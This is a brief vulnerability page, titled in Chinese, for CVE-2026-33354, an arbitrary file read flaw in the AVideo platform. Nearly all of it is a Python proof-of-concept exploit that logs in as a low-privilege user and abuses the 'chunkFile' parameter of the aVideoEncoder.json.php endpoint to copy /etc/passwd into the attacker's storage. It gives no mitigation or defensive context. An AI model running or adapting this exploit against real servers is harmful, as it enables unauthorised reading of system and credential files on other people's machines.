CVE-2026-33354: AVideo平台任意文件读取漏洞

import requests # PoC for CVE-2026-33354: AVideo Arbitrary File Read # Requires authentication (low privileges) target_host = "http://avideo.example.com" login_url = f"{target_host}/userLogin" upload_url = f"{target_host}/objects/aVideoEncoder.json.php" # Attacker credentials credentials = { "user": "attacker", "pass": "password" } # 1. Establish session session = requests.Session() session.post(login_url, data=credentials) # 2. Exploit vulnerable endpoint # The 'chunkFile' parameter accepts arbitrary local paths (e.g., /etc/passwd) # The server copies this file to the attacker's video directory. payload = { "chunkFile": "/etc/passwd", "action": "save" } response = session.post(upload_url, data=payload) if response.status_code == 200: print("[+] Exploit sent successfully.") print("[+] Check the attacker's video storage directory for the downloaded file.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")